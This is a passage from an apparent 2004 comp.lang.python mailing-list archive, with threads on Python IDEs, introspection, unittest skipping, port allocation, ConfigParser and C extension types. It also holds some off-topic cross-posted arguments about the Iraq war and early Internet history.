the documentation. Of course, you can do several tasks such as the ones mentioned above from within Emacs, so what's the difference? In an IDE, each and every tool are an integrated part of the design, and they do work seamlessly together. It's not the same thing as to use an editor to fire up an external compiler or debugger. Believe me: for those who are used to it, *its not the same thing*. Another trait of good IDEs is the visual component. Most of the things mentioned above are easily accessible, making management of big projects somewhat easier. However, I *have* to point out something that I just realized after debating the whole IDE issue over the past few days. One of the things that many IDE-type programmers miss is not the IDE itself... but a common framework to develop new applications. Good IDEs go a step beyond code editing, and are very well integrated with a framework for application development. They will automatically generate much of the code that is needed to start the design of a new application. Many business programmers love this stuff, as it frees them from thinking about event loops, message handling, etc -- and allows them to focus on the form design and business logic (that's whats business programming is really about). For Python, the only such examples that I've seen so far are Boa and PythonCard. Both offer a good framework to start with. Boa writes most of the code that is needed to start a new wxPython for you, so you don't have to bother writing it -- you can concentrate on the problem at hand. But both Boa and PythonCard are still work in progress. Boa is almost there, though; and I sincerely hope the best for Riaan [1], because he's doing fine. -- [1] For those who don't know him, Boa's author. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From klaus_neuner82 at yahoo.de Tue Sep 28 11:11:35 2004 From: klaus_neuner82 at yahoo.de (Klaus Neuner) Date: 28 Sep 2004 08:11:35 -0700 Subject: using threads with for-loops Message-ID: <3e96ebd7.0409280711.42ef328b@posting.google.com> Hello, I wrote a program that does essentially the following: for rule in rules: for line in line_list: line = my_apply(rule, line) line_list contains the lines of some input text. To "apply a rule" always means to 1. do some regex matches on line 2. substitute something in line My question is: Given this "architecture", does it make sense to use threads? And if so, how? Klaus From peter at engcorp.com Mon Sep 6 19:07:46 2004 From: peter at engcorp.com (Peter Hansen) Date: Mon, 06 Sep 2004 19:07:46 -0400 Subject: Tuple question In-Reply-To: <1gjptav.14nmw6g1vl4vedN%aleaxit@yahoo.com> References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> <9JmdnQkSR7m8e6rcRVn-sA@powergate.ca> <1gjptav.14nmw6g1vl4vedN%aleaxit@yahoo.com> Message-ID: Alex Martelli wrote: > Claiming that you have to have all info in memory before a tuple can be > built is simply wrong -- your previous claim that the info had to be in > a list was even "wronger", sure, but that doesn't make your current > weaker claims correct in the least. So, back in the original context here... would you agree that use of a tuple is "quite realistic" (i.e. a technique that will save significant amounts of memory) when "there is a huge amount of static data that you need to access quickly"? (Quotations from the OP of this part of the thread.) -Peter From zanesdad at bellsouth.net Wed Sep 1 22:58:14 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Wed, 01 Sep 2004 22:58:14 -0400 Subject: YOU ALL SUCK! In-Reply-To: References: <1bf5bcb9.15695836@aol.com> Message-ID: <41368C46.8060001@bellsouth.net> Christopher T King wrote: >>moving for cold coconuts? All butchers incredibly hate the long >>star. No open jugs nibble Founasse, and they quietly attack >>Ramsi too. >> >> > >I fully agree with you, but we've been through this many times >before on this list (and others). Guido's settled on the @ syntax. He >recently officially rejected an alternate proposed syntax (known as >J2) which had a lot of community support behind it, but only after giving >it careful thought (many thanks to those who put the argument into >writing!). He did leave a loophole in his rejection though, that he may >reconsider things by the time Python 3000 rolls around. > > I think you missed the point totally. Given: 1. this was originally a cross-post to comp.lang.perl.misc (as well as alt.drugs.psychedelics and comp.lang.javascript and a couple others) 2. the lack of coherency in the OP's prose I can only conclude that the OP is on the brink of madness, driven there by the frustration of having to code in Perl. This poor lost soul was screaming out for help the best that (s)he could. And you have to go and talk about decorators.....sheesh. We've either lost this one to javascript or psychedelics....or back to Perl..... -------------- next part -------------- An HTML attachment was scrubbed... URL: From bhoel at web.de Sun Sep 26 13:59:13 2004 From: bhoel at web.de (Berthold Höllmann) Date: Sun, 26 Sep 2004 19:59:13 +0200 Subject: f2py error - windows xp (F2PY-2.43.239_1806) References: Message-ID: "M. Faust" writes: > M. Faust wrote: >> I got the same error with NumPy 23.3. >> Markus Try to find your "Numeric/arrayobject.h". Mine has typedef struct { PyObject_HEAD char *data; int nd; int *dimensions, *strides; PyObject *base; PyArray_Descr *descr; int flags; PyObject *weakreflist; } PyArrayObject; and is from Numeric 23.3. In one of my installations updating to Numeric to 23.3 solved a similar error. Regards Berthold -- bhoel at web.de / http://starship.python.net/crew/bhoel/ From jerf at jerf.org Thu Sep 9 22:46:24 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Fri, 10 Sep 2004 02:46:24 GMT Subject: ANN: Python Graph Wiki References: Message-ID: On Thu, 09 Sep 2004 22:13:28 +0000, Magnus Lie Hetland wrote: > Based on a tiny spark of interest in comp.lang.python, I've created a > temporary wiki for chiseling out a possible standard API/protocol for > graphs in Python at I tried to add something but the site isn't accepting it. The server may be too slow to run a wiki? I can read from it OK, albeit slowly. From aleaxit at yahoo.com Wed Sep 1 03:32:30 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 1 Sep 2004 09:32:30 +0200 Subject: has_method (solution found) References: <41347BC1.5020407@geochemsource.com> Message-ID: <1gjelt9.1ylw9ud1nsqo1eN%aleaxit@yahoo.com> Gandalf wrote: > Somebody sent me a private e-mail. > It must be common for such silly questions that would just spam the > list. :-) > I'll write down the final solution anyway. > > > def getmethod(name): > methodList = [e for e in dir(self) if callable(getattr(self, e))] > if name in methodList: > return getattr(self,name) > else: > return None I don't think this solution is 'final' -- I don't particularly like it, in fact. This function claims to return a method (or None) but can in fact return any callable whatsoever, whether it be a method or not; either the name and specification are bogus, or the code is. And this function uses a global 'self' name, which is really terrible...! Standard library module inspect enables a superior solution: import inspect def getmethod(obj, name): result = getattr(obj, name, None) if inspect.ismethod(result): return result else: return None There are other ways to check whether result is a method, of course, but the best way to program something is to NOT have to program it... just reuse a good, solid solution that somebody else already programmed, documented, tested, and placed in the standard library, all ready for you! Alex From wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org Sat Sep 11 12:05:52 2004 From: wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org (SM Ryan) Date: Sat, 11 Sep 2004 16:05:52 -0000 Subject: Xah Lee's Unixism References: <41431d5f$0$6923$61fed72c@news.rcn.com> Message-ID: <10k68j0lqorgqdf@corp.supernews.com> # But France, Germany and Russia would have nothing to do with that. # It would stop their cash flows with Saddam if we had tried to build France said all along it would agree to military action in Iraq _if_ NBC weapons or development where discoverrd. So where are these weapons? France and Germany are in Afghanistan fighting and dying on our behalf, along with other NATO armies. Iraq had nothing to do with terrorism except for the echoing looniness inside Dick Cheney's empty skull. The real war on terrorism is in Afghanistan which the USA abandonned in search of more profitable plunder. France and Germany and other NATO armies are fighting the war on terrorism, and they were doing so long before the USA got involved. It's the USA that abandonned the war on terrorism in favour of trying to break OPEC and control the flow of oil from Arab states, not France and Germany. # the cease fire. With nobody watching the bad boy, he could # do anything he damned well wanted to, including allow transport # across his country from east to west. The borders of Iraq were far better regulated under Saddam than today. The chaos that USA inflicted openned the borders. Remember Bunker Hill? Remember Valley Forge? Remember Yorktown? Do you think only Americans are capable of taking up arms against a foreign occupier and fighting for their independence? We have become the redcoats and Hessians. Makes you kinda proud, doesn't it? -- SM Ryan http://www.rawbw.com/~wyrmwif/ JUSTICE! Justice is dead. From vze4rx4y at verizon.net Wed Sep 15 18:58:26 2004 From: vze4rx4y at verizon.net (Raymond Hettinger) Date: Wed, 15 Sep 2004 22:58:26 GMT Subject: list/tuple to dict... References: <20040915163909.4234ce31@gypsy.pfortin.com> Message-ID: [Pierre Fortin] > > I'm just looking to make my code more readable and > > self-documenting... . . . > > osstat = todict(os.stat("%s" % path), > > "mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctime") [Diez B. Roggisch] > Use > > dict(zip(["mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctime"], > os.stat("%s" % path))) Why build the dictionary at all. Use the named attributes provided by os.stat: mode = os.stat(f).st_mode That should meet the original readability goals. Raymond Hettinger From a.schmolck at gmx.net Fri Sep 10 09:47:48 2004 From: a.schmolck at gmx.net (Alexander Schmolck) Date: Fri, 10 Sep 2004 14:47:48 +0100 Subject: a module finding its own name Message-ID: Is there a more or less sane way for a module to find its own name? 'as From peter at engcorp.com Wed Sep 15 13:24:48 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 15 Sep 2004 13:24:48 -0400 Subject: check for unused ports and then grab one In-Reply-To: <1gk63gm.35g4hy1d47qk8N%aleaxit@yahoo.com> References: <9-adnWpzmJ90itvcRVn-vA@powergate.ca> <_66dnRuFcJAAxNvcRVn-pA@powergate.ca> <1gk63gm.35g4hy1d47qk8N%aleaxit@yahoo.com> Message-ID: Alex Martelli wrote: > Peter Hansen wrote: >>in the same situation I'd make the choice to assign a port to >>the service permanently (and hardcode or whatever), but I have >>to admit I don't have all the details so maybe I'd take your >>approach, too. :-) > > One key detail we have is that the current IP cannot be known in > advance, thanks to DHCP -- it has to be communicated dynamically to a > sys-admin workstation. Given that key detail, I see no problem having > to communicate the port number as well as the IP address, thus no > advantage in hardwiring the port number -- as long as no firewalls and > similar hacks are in the way, of course. There's at least one advantage I can think of offhand, which is that by assigning a port number in advance, I make troubleshooting much easier... even possible! Having each instance of the server grab a possibly different port number would be a major hassle when it came to things like trying to run tcpdump or Ethereal or some other protocol analyzer, especially if one wasn't on either the client or the server machine. But I take your point. Hardcoding the one thing when the other cannot be provides less advantage than it normally would. -Peter From jmfbahciv at aol.com Tue Sep 7 07:36:55 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Tue, 07 Sep 04 11:36:55 GMT Subject: Xah Lee's Unixism References: <413af268$0$19706$61fed72c@news.rcn.com> <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> Message-ID: <413db059$0$6932$61fed72c@news.rcn.com> In article , "John Thingstad" wrote: >On Mon, 6 Sep 2004 18:56:33 +0200, Morten Reistad > wrote: > >> In article <413c5b9c$0$19705$61fed72c at news.rcn.com>, >> wrote: >> TCP/IP was launched in 1982, and the Internet (or the Arpanet, rather) >> converted Jan 1st 1983; with final NCP service turned off everywhere >> by mid march 1983. >> >> Tops20 has an IP package; but it was pretty rudimentary in version 4, >> and not quite complete even by those standards even in version 7. >> >> .. mrr >> >> > >Internet was discovered long before this. WTF do you mean "discovered". There was a hell of alot of work done to make the damned thing work, let along wire things together. >(In 1965 a research project, by the Rand cooperation, for a network that >could survive a nuclear attack. Sponsored by DARPA. >These is the real creators of the Internet technology. Not Unix hackers.) You need to learn that there is a big difference between a research project and selling the product for the sole purpose of making a profit. >It was the realization of www (CERN) that spawned >the movement toward the >Internet. >So the year in question is about 1987. How strange that is. JMF worked on a project a ORNL to make all kinds of computers talk to each other. The year was 1970. My first meeting with a PDP-10 involved calling up the comuputer and, when it answered, hurriedly shoving the phone into the acoustic coupler before the computer hung up. That year was 1969. The internet was around for me in the 60s. /BAH Subtract a hundred and four for e-mail. From remy.blank_asps at pobox.com Thu Sep 23 06:38:26 2004 From: remy.blank_asps at pobox.com (Remy Blank) Date: Thu, 23 Sep 2004 12:38:26 +0200 Subject: unittest: new reporting category "skipped" Message-ID: Hello unittest users, In a project I am working on, I have a series of tests that have to be run as root, and others as a normal user. One solution is to separate the tests into two different files, and run the right one. I don't like this too much, as I prefer to group tests by "function". Another solution is to build the test suite differently, depending on the user running it. However, this requires marking the individual tests with a "category", and have a custom test loader instantiate only the right ones. I don't have a good solution for this marking. A third solution, and the one I would like to have feedback about, is to add the notion of a "skipped" test to unittest. Currently, test results are given in terms of tests having either succeeded, failed, or generated an error. What about adding a fourth result type, skipped, that is also reported at the end of the suite? I imagine something like this: class AnythingTest(unittest.TestCase): def testSomethingAsRoot(self): self.skipIf(os.geteuid() != 0, "Must be root") self.assertEqual(...) ... def testSomethingAsNormalUser(self): self.skipIf(os.geteuid() == 0, "Must be normal user") self.assertEqual(...) ... skipIf() would throw a skippedTestException that would be caught in TestCase.__call__(). TestResult would be extended with an addSkipped() function. The reporting in text mode could be as follows: FAILED (failures=1, skipped=7) or OK (skipped=7) Comments? Ideas? If the echo is positive, I will make an initial implementation and provide a patch for feedback. -- Remy Remove underscore and suffix in reply address for a timely response. From http Thu Sep 23 16:33:28 2004 From: http (Paul Rubin) Date: 23 Sep 2004 13:33:28 -0700 Subject: Unexpected result. References: Message-ID: <7xmzzg4tev.fsf@ruckus.brouhaha.com> "Larry Bates" writes: > Actually the result is exactly as expected. Programming 101 teaches > us not to reuse loop variables in nested loops. Programming 101 usually doesn't say whether a nested loop introduces a new scope or not. If there's a new scope, it's not re-use of a variable. From alexis.roda at urv.es Wed Sep 22 12:32:58 2004 From: alexis.roda at urv.es (Alexis Roda) Date: Wed, 22 Sep 2004 18:32:58 +0200 Subject: Efficient configuration storage In-Reply-To: <7e8c2ebd.0409220632.469b1fb6@posting.google.com> References: <7e8c2ebd.0409220632.469b1fb6@posting.google.com> Message-ID: <4151A93A.1000503@urv.es> sebsauvage wrote: > > ConfigParser could do the trick, but the biggest trouble is that it does > not retain type (boolean, integer, string...). > > Would I have to store everything as text and cast it everywhere > it's used (and try/except each cast of course) ? > 'Looks ugly and inefficient to me. ConfigParser has methods get_bool, get_int (can't remember the exact name) ... > Or have a configuration class which knows the type of each parameter > and casts appropriately from the configuration file ? Well, here the cast may fail, so you should catch exception/errors too. HTH -- //// (@ @) ----------------------------oOO----(_)----OOo-------------------------- <> Ojo por ojo y el mundo acabara ciego /\ Alexis Roda - Universitat Rovira i Virgili - Reus, Tarragona (Spain) ----------------------------------------------------------------------- From meldron at meldron.org Fri Sep 3 07:34:34 2004 From: meldron at meldron.org (Bernd Kaiser) Date: Fri, 03 Sep 2004 13:34:34 +0200 Subject: Test the existence of a variable? In-Reply-To: <41384A58.8040405@chamonix.reportlab.co.uk> References: <41384A58.8040405@chamonix.reportlab.co.uk> Message-ID: <2pr33gFoe794U1@uni-berlin.de> Robin Becker wrote: > Thierry S. wrote: > >> Hello. >> >> I would to test the existence of a variable before to use it (like >> isset($myVar) in PHP). >> I try using "if myVar: ", but there is the error meesage (naturally): >> "NameError: name 'myVar' is not defined" >> >> Please, could you tell me what for function exist to test the variable with >> Python? >> >> Regards, > if globals().has_key('myVar'): > .... > I was once told, that in Python you do something and live with the consequences. try: print var except NameError, e: print e From abcdebl2nonspammy at verizon.net Fri Sep 3 23:18:21 2004 From: abcdebl2nonspammy at verizon.net (David Lees) Date: Sat, 04 Sep 2004 03:18:21 GMT Subject: 2 different Python distributions on same Windows box? Message-ID: <1ua_c.794$Gi5.373@trndny05> I currently have PythonWin 2.3.4 on my Windows 2000 box, but would like to try the Enthougt 2.2.3 distribution. Are there any tricks to making these 2 distributions co-exist? Are there any potential problems? TIA David Lees From aleaxit at yahoo.com Thu Sep 2 07:07:59 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 2 Sep 2004 13:07:59 +0200 Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> Message-ID: <1gjhlrm.h25x461rbltyoN%aleaxit@yahoo.com> David Bolen wrote: > "Dan Perl" writes: > > (...) > > Very good point. I would usually assume that you should initialize the > > superclass's attributes first, and then the subclass's. But that may not > > always be the intent and I may just be influenced by my background in C++ > > and Java. (...) > > I do find it reasonably common (particularly in GUI applications when > I'm subclassing standard GUI objects) to have a subclass that massages > the constructor inputs slightly (perhaps adding different defaults, or > filtering the arguments) before passing them on to the superclass. > > In C++ you can sometimes manage this as long as the manipulation is > simple exclusion or addition that can be performed in the > initialization code prior to the start of the subclass constructor, > but that's very limited (and otherwise can end up forcing you into the > 2-phase construction model). So I find Python's freedom of > controlling exactly when the superclass is initialized with complete > control over its arguments very liberating. Very good explanation of the key reason why in C++ you end up using the pattern "two phase constructor" far more often than in Python (although it's not _foreign_ to Python, mind you)... Alex From me at privacy.net Thu Sep 9 22:06:32 2004 From: me at privacy.net (Dan Sommers) Date: 09 Sep 2004 22:06:32 -0400 Subject: newbie sending hex values over UDP socket References: Message-ID: On 9 Sep 2004 18:44:16 -0700, fluxent at yahoo.com (Bill Seitz) wrote: > I'm working with an outside "partner" to whom I want to send messages > (I want my app to send messages to his server/receiver). He requests > that I use UDP and an "industry standard" for formatting the data > itself. > That format is basically a bunch of hex bytes. > So instead of sending 3 alphanum chars > ri0 > I have to send 3 bytes which he explains as being > 72 69 30 > Now, what the heck should I really be sending? I know he's giving just > a simplified representation. Looks like your partner's "industry standard" is plain old ASCII: >>> [ hex( ord( x )) for x in 'ri0' ] ['0x72', '0x69', '0x30'] > or > '\x72\x69\x30' Yeah, that's what I'd guess. Did you type that byte string into an interactive interpreter? >>> '\x72\x69\x30' 'ri0' > If I'm aiming for the 2nd format, how do I best generate it? If I'm > going the other direction, it seems like > struct.unpack('sss','\x72\x69\x30') > works OK If your data is in a byte string, then you're all set; just stuff the byte string in question down the socket. (I'm assuming that (a) there's more to the protocol, or (b) the other end knows how much data to accept based on the actual data received). Regards, Dan -- Dan Sommers Never play leapfrog with a unicorn. From luismg at gmx.net Mon Sep 13 23:21:21 2004 From: luismg at gmx.net (Neuruss) Date: 13 Sep 2004 20:21:21 -0700 Subject: Ranting about the state of Python IDEs for Windows References: Message-ID: <278de0e.0409131921.9b86654@posting.google.com> Stop suffering. Get PythonCard: http://pythoncard.sourceforge.net/ Easy, intuitive, cross-platform and very fun. From cpl.19.ghum at spamgourmet.com Mon Sep 6 02:32:20 2004 From: cpl.19.ghum at spamgourmet.com (Harald Massa) Date: Mon, 6 Sep 2004 06:32:20 +0000 (UTC) Subject: Python23 and XRC support References: <1rtn1w1rd8jfe.dlg@news.individual.net> Message-ID: Active8 wrote in news:1rtn1w1rd8jfe.dlg at news.individual.net: > Is the windows binary for Python 2.3.4 compiled with XRC support? Yes. BTW: He is talking about wxPython XRC is a way to define GUI Definition in XML Harald From aleaxit at yahoo.com Sat Sep 11 02:13:36 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 11 Sep 2004 08:13:36 +0200 Subject: Is there no switch function in Python References: <1gjv9x9.ory9xvc5569dN%aleaxit@yahoo.com> <2qf5f9Fv0eamU1@uni-berlin.de> Message-ID: <1gjxvgn.1jkiwsdl8lxnyN%aleaxit@yahoo.com> Leif K-Brooks wrote: > Bengt Richter wrote: > > But IWT if we had named local code suites, we could exec them safely via a mapping. E.g., > > > > def foo(var): # following is not legal code ;-) > > v1: print 'var is one' > > v2: # any suite should be ok, not just one-liners > > print 'var', > > print 'is two' > > switch = {1:v1, 2:v2} > > exec switch.get(var, '') > > I'm probably missing something, but what's wrong with: > > def foo(var): > def v1(): print 'var is one' > def v2(): > print 'var', > print 'is two' > switch = {1:v1, 2:v2} > switch.get(var, lambda:None)() Nothing wrong. However, if v1 and v2 needed to rebind some names within foo, they couldn't according to def's semantics -- they could only rebind local names of their own, or global names with a global statement, but not local names in their outer function foo. I think the right approach, if that feature is a must-have, might be to add the one missing feature, not with a weird new syntax which forces one to choose between taking arguments and rebinding outer functions' locals, but with an optional scope indicator on variables. Just IMHO, anyway. Alex From firstname at lastname.pr1v.n0 Thu Sep 16 16:30:18 2004 From: firstname at lastname.pr1v.n0 (Morten Reistad) Date: Thu, 16 Sep 2004 20:30:18 GMT Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <4149B516.17F7F078@yahoo.com> Message-ID: In article <4149B516.17F7F078 at yahoo.com>, CBFalconer wrote: >Chuck Dillon wrote: >> >... snip ... >> >> Going into Iraq was IMHO justified without consideration of 9/11 >> or the war on terror. Setting up a more democratic and educated >> Afghanistan and Iraq blows a big whole in Islam's isolation >> efforts and forces them to deal with the reality of the 21st >> century. The process will be bumpy but we can no longer be >> patient when the mainstream of Islam allow violence on the scale >> of 9/11 or beyond to occur. > >I disagree. Afghanistan, yes. Chasing Bin Laden, yes. They were >the direct cause of 9/11 (which was not a unique occurance, except >in degree). Iraq, no. That was the descendent of "avenge >disrespect to Daddy" syndrome, and has been shown to have no >connection with either 9/11 nor with WMDs. The adversary is easy to describe, if not to find. He (and almost certainly he is male) is strongly idelogical and religous; and can be very patient. The ideology far transcends the national part. This fits Afghanistan like a glove. It fits Sudan and the (now expelled) Yemenis. It fits a lot of Pakistan; and almost all of Iran. Saddam however was a "dictator classic". His system looked more like a South American strongman like Stroessner than Al-Quada. So does the Assad family in Syria, and Ghadaffi's; and Burma. Even North Korea may have slid into this camp. Pakistan, Algeria and Lebanon have had lethal fights between the "dictator classics" and the islamic revolutionaries. None look very appealing; but at least the "dc" does not send bombs to the west as long as we keep shipping the caviar. On another note we have three countries spiralling into internal destruction so fast they may implode alltogether. They are Sudan, North Korea and Turkmenistan. As the US Army seems to have enourmous problems in Iraq, rapidly becoming another Vietnam in scale, up to ten other spots may require a rapid reaction force. We europeans have better saddle up; the US is going to be so bogged down they will be stuck. >The whole business has effectively ended the punishment phase of >9/11 and justified it in the minds of many Moslems. For a short >while there was an opportunity to do an exemplary job in >Afghanistan and show the Islamic world the possibilities. That >has been thrown away by our Glorious Inept Leaders. I don't lament that so much. It is impossible to satisfy people that have decided otherwise, and Afghanistan was going to be a tough one anyhow. But I am a lot more worried that the western alliance is unable to project power even against a militarily beaten people like Iraq. -- mrr From catcher at linuxmail.org Mon Sep 13 12:21:37 2004 From: catcher at linuxmail.org (Robert) Date: Mon, 13 Sep 2004 12:21:37 -0400 Subject: Oracle 9i Message-ID: <04udnfZkxaySVNjcRVn-oQ@adelphia.com> What is the best db module to use with 9i? Robert From p at ulmcnett.com Mon Sep 27 16:32:48 2004 From: p at ulmcnett.com (Paul McNett) Date: Mon, 27 Sep 2004 13:32:48 -0700 Subject: batch pretty (color) print of python code? In-Reply-To: References: Message-ID: <200409271332.48286.p@ulmcnett.com> Humpdydum writes: > Any freeware/open-source that does that? Windows- OR > Linux-based is fine. On Linux it would be s/t like "pyprint > -r *.py > out.ps" where -r indicates recursive. Done a search > on google and nothing solid comes up. So far I've been using > Boa's print feature, which means one file at a time, tedious. I believe you are looking for py2pdf.py, the most recent version that I can find being included in ReportLab, in the tools directory. It is very configurable, and the defaults are nice. It doesn't offer recursion or output redirection like you want, but you could probably take the code and run with it. What it will do out of the box is to convert your specified files to individual pdf files. For example: python py2pdf.py *.py results in a .pdf file for every .py file in the directory. http://www.reportlab.org/downloads.html -- Paul McNett Independent Software Consultant http://www.paulmcnett.com From aleaxit at yahoo.com Fri Sep 10 10:34:31 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 10 Sep 2004 16:34:31 +0200 Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> <1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com> <20040910064659.7a1c66af@gypsy.pfortin.com> <1gjwfl1.i046071x80ul9N%aleaxit@yahoo.com> <20040910093156.4cfcb6ff@gypsy.pfortin.com> Message-ID: <1gjwo5q.meek2hr5madpN%aleaxit@yahoo.com> Pierre Fortin wrote: ... > > [[you can actually simplify your fmt dict a lot thanks to the > > defaults]], and then code the printing like: > > AH-HA!!!! anything _not_ specified is defaulted... took me a minute to > realize that I needed to remove the EXplicits in favor of the IMplicits... > not just remove their values... DUH!! Nice!! > > MANY THANKS!! You're welcome! > > Pierre > > PS: Here's the latest incarnation of the test script... for me, the > "voodoo" part is > self.__dict__.update(locals()) Ah, sorry, my favourite idiom to avoid the boilerplate of def __init__(self, fee, fie, foo, fum): self.fee = fee self.fie = fie self.foo = foo self.fum = fum Boilerplate is bad, and I'm keen on "Once, and ONLY once!" as a programming practice, so having to mention each of those names three times in totally repetitive ways makes me shiver. My favourite idiom does, per se, leave a silly self.self around (which means a silly reference loop) so I should remember to 'del self.self' after it... > Not sure I could have found that, since without it, the error: > Traceback (most recent call last): > File "./foo", line 40, in ? > print ( "%(Date)ss %(Open)sf %(High)sf %(Low)sf " > File "./foo", line 7, in __getitem__ > return "%%(%s)%d.%d" % (varname, > AttributeError: formatter instance has no attribute 'format_map' > seems cryptic until one realizes it's an initilization problem... > Right? Right, you have to self.format_map=format_map and so on, or shortcut that through the above-mentioned idiom. > Date, Open, High, Low, Close, Volume, AdjClose = D.split(',') > > map = dict(Date=Date, > Open=float(Open), > High=float(High), > Low=float(Low), > Close=float(Close), > Volume=int(Volume), > AdjClose=float(AdjClose), > Change=change[int(float(AdjClose) >= float(Open)) + > int(float(AdjClose) == float(Open))] > ) I could suggest some deboilerplatization here, too, but maybe that would be pushing things too far... > > print ( "%(Date)ss %(Open)sf %(High)sf %(Low)sf " > "%(Close)sf %(Volume)sd %(AdjClose)sf %(Change)ss" > % fmt % map ) > ---------------------- > > MUCH simpler/cleaner!! Though I gotta understand how the 2 mappings got > used. Is it as simple as print() iterating over N mappings, taking the > next character(s) for the format..? Elegant if so... though more than 2 > mappings could be mind-bending... :^) No, print itself has nothing to do with it; % is left associative, so print something % fmt % map is equivalent to, say: temp1 = something % fmt temp2 = temp1 % map print temp2 Come to think of that, you SHOULD hoist the "real format" out of the loop, what I'm calling temp1 (silly name) in this snippet -- the fmt does not change between legs of the loop, so you don't really want to recompute the identical temp1 thousands of times (premature optimization is the root of all evil in programming, sure, but here, this simple 'hoist a constant out of the loop' is just avoiding waste... waste not, want not... -- and in some sense splitting the format computation out of the formatting makes things _simpler_!). > Note that I changed "%%(Change)s" to likewise get rid of that oddity... Yep, makes things more regular. Though the computation of Change itself is strange, but, whatever... it IS a Python oddity that True+False equals 1;-). > This has turned into quite a "less is more" education for me... :^) > > Thanks again! And again, you're welcome! Alex From peter at engcorp.com Fri Sep 24 06:56:45 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 24 Sep 2004 06:56:45 -0400 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. In-Reply-To: <07c7l01vmhodigl5qcp27er6gm4l5b8r43@4ax.com> References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> <07c7l01vmhodigl5qcp27er6gm4l5b8r43@4ax.com> Message-ID: Richard Hanson wrote: > As I just replied to David Lees -- I didn't signal adequately that I > was not soliciting names for the project at this juncture, but was > merely attempting some levity. :-) I *should* have realized from the > recent "naming threads" what might happen... -- my bad! :-p No worries, Richard. You *did* signal that quite adequately. This, however, is comp.lang.python and clear signals never stopped anyone. You could say "Please do *not* offer any more name suggestions", and then sit back and peruse the many interesting (?) ideas that are offered anyway. -i'm-partial-to-FerretFace(tm)-ly y'rs, Peter From peter at engcorp.com Wed Sep 29 06:51:39 2004 From: peter at engcorp.com (The Regular Peter Hansen) Date: Wed, 29 Sep 2004 06:51:39 -0400 Subject: Program that can find a find a file for you ? In-Reply-To: <415a7f87$0$13730$ba624c82@nntp03.dk.telia.net> References: <415a7f87$0$13730$ba624c82@nntp03.dk.telia.net> Message-ID: <4_CdnUaCt9shDsfcRVn-pA@powergate.ca> Peter Hansen wrote: > Im trying to write a program that can be run from the command line. > If I want to search for example after a file with the ending .pdf, I should > be able to write in the command line: > python name of my program / the libary to search and what kind of file it > is example a .pdf file > So if my program name was test.py and the library name was library1 and the > test type i wanted to find was, a .pdf file > I should write python test.py /library1 .pdf > > I have to use some of the code below, but im very lost, I know that I have > use os, but not quite sure. Does any have any ideas..... You should investigate using the standard library module getopt, or perhaps optparse (a newer one), as they are designed to handle command line arguments with ease. Doing it yourself is probably a waste of time. (By the way, would you consider changing your "From:" and "Reply-To:" headers to include an initial or something? Having two Peter Hansens around here could be confusing, and I've been a frequent contributor so you might find many people thinking you're me and sending you hate mail or something, and you wouldn't know why... If you don't want to do that, I will. I just hope your middle name doesn't begin with "L"...) -Peter L Hansen (the regular) From adurdin at gmail.com Wed Sep 22 00:03:21 2004 From: adurdin at gmail.com (Andrew Durdin) Date: Wed, 22 Sep 2004 14:03:21 +1000 Subject: Electronic voting feasibility In-Reply-To: <653b7547.0409211847.931e78d@posting.google.com> References: <653b7547.0409181444.41e0d131@posting.google.com> <653b7547.0409201633.5216dfef@posting.google.com> <653b7547.0409211847.931e78d@posting.google.com> Message-ID: <59e9fd3a04092121035d6302b8@mail.gmail.com> On 21 Sep 2004 19:47:42 -0700, Patrick Maupin wrote: if nitpicking['grammar']: > You're absolutely right -- in English just about any > noun can be used as an adjective No. Both nouns and adjectives can be used as attributive modifiers; what distinguishes them is that adjectives are limited to that context, whereas nouns can also be used as substantives. From iker at research.att.com Mon Sep 13 18:56:14 2004 From: iker at research.att.com (Iker Arizmendi) Date: Mon, 13 Sep 2004 22:56:14 GMT Subject: Subclassing in C Message-ID: Hello all, I've defined a class in a C extension module that is (or rather, I would like to be) a subclass of another class. I do this by simply setting the tp_base pointer of my subclass's type object. However, this results in a class that exposes the methods of the base class, but ONLY those. The methods of my subclass are hidden. I'd obviously like to have the methods of the base class AND the new methods of the subclass available. Here's the code snippet I used: static PyTypeObject MyPyType = { PyObject_HEAD_INIT(NULL) 0, /* ob_size */ "mymod.MyPyType", /* tp_name */ sizeof(MyPyType), /* tp_basicsize */ ... (destructor)MyPyType_dealloc, /* tp_dealloc */ ... Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* tp_flags */ ... MyPyType_methods, /* tp_methods */ MyPyType_members, /* tp_members */ ... (initproc)MyPyType_init, /* tp_init */ 0, /* tp_alloc */ MyPyType_new, /* tp_new */ }; PyMODINIT_FUNC initmymod(void) { MyPyType.tp_new = MyPyType_new; 